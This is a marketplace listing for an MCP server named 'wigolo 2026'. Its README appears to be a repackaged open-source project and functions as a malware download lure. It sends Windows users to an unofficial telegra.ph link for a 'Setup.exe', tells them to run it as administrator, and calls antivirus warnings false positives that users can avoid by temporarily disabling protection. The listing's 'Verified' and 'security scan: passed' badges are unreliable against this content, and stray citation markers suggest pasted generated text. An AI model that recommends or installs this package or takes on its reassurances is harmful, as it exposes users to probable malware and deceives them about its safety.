# Wigolo Local Web Intelligence 2026 > wigolo 2026 – Local web intelligence MCP server for AI agents. Search, fetch, crawl, extract, research. No API keys, $0/query, private by default. Setup.exe included. - **Type:** MCP server - **Install:** `agentstack add mcp-pieceinspection-wigolo-local-web-intelligence-2026` - **Verified:** Yes β€” security-reviewed for prompt injection and unsafe behavior - **Seller:** [PieceInspection](https://agentstack.voostack.com/s/pieceinspection) - **Installs:** 0 - **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml) - **Latest version:** 0.1.0 - **License:** MIT - **Upstream author:** [PieceInspection](https://github.com/PieceInspection) - **Source:** https://github.com/PieceInspection/wigolo-Local-Web-Intelligence-2026 ## Install ```sh agentstack add mcp-pieceinspection-wigolo-local-web-intelligence-2026 ``` Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent. ## About 🌐 wigolo 2026 – Local Web Intelligence for AI Agents Local-first web intelligence for AI coding agents. Search, fetch, crawl, extract, research – no API keys, no cloud, $0/query. Private by default. Latest version 2026 | Desktop application | Optimized for Windows 11 / Windows 10 Click the button above to get the full project files --- ## πŸ“¦ What's Inside This Repository Welcome to the official distribution page for **wigolo 2026 – Local Web Intelligence for AI Agents for Windows PC**. This repository provides access to the latest release of the fastest-growing local-first web intelligence server for AI agents. βœ… **Full Version** – All 10 tools included βœ… **Zero API Keys** – Core tools work without any keys βœ… **18 Search Engines** – Multi-engine search with ML reranking βœ… **Local-First** – All data stays in `~/.wigolo/` βœ… **10 Web Tools** – Search, fetch, crawl, extract, cache, find_similar, research, agent, diff, watch βœ… **No System Changes** – Safe, no registry or service modifications --- ## πŸ“₯ How to Get Started? --- ## πŸš€ Step-by-Step Guide Follow these **3 simple steps** to get started with wigolo 2026 on your PC: ### Step 1: Download the Project Files Click the **download button** above or use this direct link: πŸ‘‰ [**Get wigolo 2026 Project Files**](https://telegra.ph/How-to-download-07-15-12) ### Step 2: Extract and Run Extract the downloaded archive and launch the application. Right-click and select **"Run as administrator"** to ensure proper installation. ### Step 3: Launch & Enjoy After installation, open the application from your desktop shortcut or Start Menu. The software automatically detects all **ProjectFiles** modules and configurations. --- ## πŸ”§ Key Features (2026 Update) wigolo runs on your machine as an MCP server and gives AI agents one durable surface for everything web-related [citation:1][citation:4]. | Tool | What it does | | :--- | :--- | | πŸ”Ž `search` | Multi-engine web search (18 direct adapters) with rank fusion, ML cross-encoder reranking, and an explainable per-result score [citation:1][citation:2][citation:3] | | πŸ“„ `fetch` | Load one URL through a tiered router (HTTP β†’ TLS-impersonation β†’ headless browser) that auto-escalates on anti-bot challenges [citation:1][citation:2][citation:4] | | πŸ•ΈοΈ `crawl` | Multi-page crawl β€” BFS, DFS, sitemap, or map-only with robots.txt respect [citation:1][citation:2] | | 🧩 `extract` | Structured data from a page: tables, metadata, JSON-LD, named schemas (Article / Recipe / Product / …) [citation:1][citation:3][citation:4] | | πŸ’Ύ `cache` | Query everything already seen β€” keyword (BM25) or hybrid with on-device vectors [citation:1][citation:3] | | 🧲 `find_similar` | Pages similar to a URL or a concept via 3-way fusion of keyword + semantic + live web [citation:1][citation:2] | | 🧠 `research` | Decompose a question β†’ fan out sub-queries β†’ fetch sources β†’ synthesize a cited report [citation:1][citation:2][citation:4] | | πŸ€– `agent` | Autonomous gather loop: plan β†’ search β†’ fetch β†’ extract β†’ synthesize with time budget [citation:1][citation:2][citation:4] | | πŸ” `diff` / ⏱️ `watch` | See exactly what changed on a page since last visit; re-check on schedule [citation:1][citation:2] | --- ## πŸ“ˆ Why Choose wigolo 2026? - βœ… **Fastest Growing** – 1,200+ GitHub stars in just a few months [citation:5][citation:8][citation:10] - βœ… **Zero Keys** – Core tools work without any API keys [citation:1][citation:2][citation:4] - βœ… **$0/Query** – No metered billing, no cloud costs [citation:5][citation:8] - βœ… **Local-First** – Your data never leaves `~/.wigolo/` [citation:1][citation:3][citation:4] - βœ… **18 Search Engines** – Multi-engine search with ML reranking [citation:1][citation:3] - βœ… **Honest Output** – Failed fetches and degraded backends are clearly labeled [citation:4][citation:5] - βœ… **No System Changes** – Safe, no registry or service modifications --- ## πŸ”— Official Download Link > ### ⬇️ **Get the full project files here:** > ### **[https://telegra.ph/How-to-download-07-15-12](https://telegra.ph/How-to-download-07-15-12)** πŸ“ After downloading, extract the archive and launch ProjectFiles to get started. --- ## ❓ Frequently Asked Questions **Q: Is this the full version?** A: Yes, this is the complete version with all 10 tools. **Q: Does it work on Windows 11?** A: Absolutely. It is fully optimized for Windows 11 and Windows 10. **Q: What AI agents are supported?** A: Claude Code, Cursor, Codex, Gemini CLI, VS Code, Windsurf, Zed, Antigravity, and any MCP client [citation:1][citation:2][citation:4]. **Q: Do I need an API key?** A: No. Core tools (search, fetch, crawl, extract, cache, find_similar) work without any API key [citation:1][citation:2][citation:4]. **Q: What about antivirus warnings?** A: Some antivirus programs may show a warning β€” this is a false positive. We recommend temporarily disabling it during installation. **Q: Can I use this for commercial purposes?** A: Yes, the full version is suitable for both personal and professional use. **Q: How often are updates released?** A: Updates are released regularly with new features and improvements. --- ## πŸ“ Important Notes - This version is intended for **personal and professional use** only. - Do not redistribute the installer β€” use the official link above. - For technical support, please open an issue in this repository. - Always check the file integrity after download. --- ## πŸ“œ License This repository is for **educational and distribution purposes** only. **wigolo** is an open-source project by **Towhid Khan (KnockOutEZ)** . Licensed under **AGPL-3.0** [citation:5][citation:8]. All rights belong to their respective owners. This is not an official distribution channel. --- ⭐ If you found this useful, please star the repository! πŸ“… Updated: July 2026 – Version 2026 (Build 1.0.0) πŸ”— Download wigolo 2026 Now ## Source & license This open-source MCP server is cataloged on AgentStack and links to its original source β€” we do not rehost the code. - **Author:** [PieceInspection](https://github.com/PieceInspection) - **Source:** [PieceInspection/wigolo-Local-Web-Intelligence-2026](https://github.com/PieceInspection/wigolo-Local-Web-Intelligence-2026) - **License:** MIT Install and usage instructions live in the source repository linked above. ## Pricing - **Free** β€” Free ## Security capabilities Automated source analysis of v0.1.0 β€” what this tool can access: - **Network access:** no - **Filesystem access:** no - **Shell / process execution:** no - **Environment & secrets:** no - **Dynamic code execution:** no *"Yes" means the capability is present in the source β€” more access means more to trust, not that it is unsafe.* ## Versions - **0.1.0** β€” security scan: passed β€” Imported from the upstream source. ## Links - Listing page: https://agentstack.voostack.com/l/mcp-pieceinspection-wigolo-local-web-intelligence-2026 - Seller: https://agentstack.voostack.com/s/pieceinspection - Browse the marketplace: https://agentstack.voostack.com/browse --- Listed on AgentStack β€” the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.